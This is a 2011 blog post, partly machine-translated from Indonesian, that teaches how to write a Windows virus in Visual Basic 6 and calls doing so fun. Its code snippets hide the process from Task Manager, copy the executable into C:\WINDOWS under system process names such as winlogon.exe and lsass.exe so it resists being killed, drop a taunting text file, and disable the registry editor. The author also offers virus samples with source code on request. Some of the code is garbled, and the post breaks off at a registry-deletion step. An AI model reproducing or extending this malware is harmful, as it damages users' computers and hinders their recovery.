Sunday, March 6, 2011

Created Virus Part II with Visual Basic 6.0

Actually it's fun to make a virus, especially if we get can make others scramble for the virus that we make. I want to share a little knowledge about how to make a virus nih with VB 6. This material is only to try it or any other word is still the basis. You may be able to develop it themselves. Oh yes, I have also included an example of a virus that had I made her name r3d_94l4xy. For heavier material that will be connected later. For those who want to get a certain virus samples with source code please contact Johan.

First, make a form for a virus you just use standard Exe

Curing Form
 
Private Sub Form_Load()
App.TaskVisible = False
End Sub

Meng reproduce or Self-Copy

Misalnya mau di-copy kan ke direktori C:\Windows dengan nama winlogon.exe csrss.exe ato services.exe
biar prosesnya sulit di kill pake taskmanager, nama virus pake nama system pada windows
 
On Error Resume Next
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\winlogon.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\csrss.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\services.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\smss.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\lsass.exe”

3. create a directory or folder
For example make a folder in windows directory

On Error Resume Next
MkDir “C:\WINDOWS\virus”

5. Make Message Virus
Make use message text file

On Error Resume Next
 
Set bikinpesen = CreateObject ("Scripting.FileSystemObject")
Set isipesen = bikinpesen.Createtextfile ("C: \ read saya.txt")
isipesen.writeline ("computer virus you fool")
isipesen.Close

6. Registry change
For example m
want to disable regedit

On Error Resume Next
Set ubahreg = CreateObject ("WScript.Shell")
ubahreg.regwrite "HKEY_CURRENT_USER \ Software \
microsoft \ windows \ CurrentVersion \ Policies \ system \
DisableRegistryTools ", 1," REG_DWORD "

7. Deleting Registry
For example, would remove the 
 
HKEY_LOCAL_MACHINE \
Software \ Microsoft \ Windows NT \ CurrentVersion \ Run \ ServLogon

1 comment: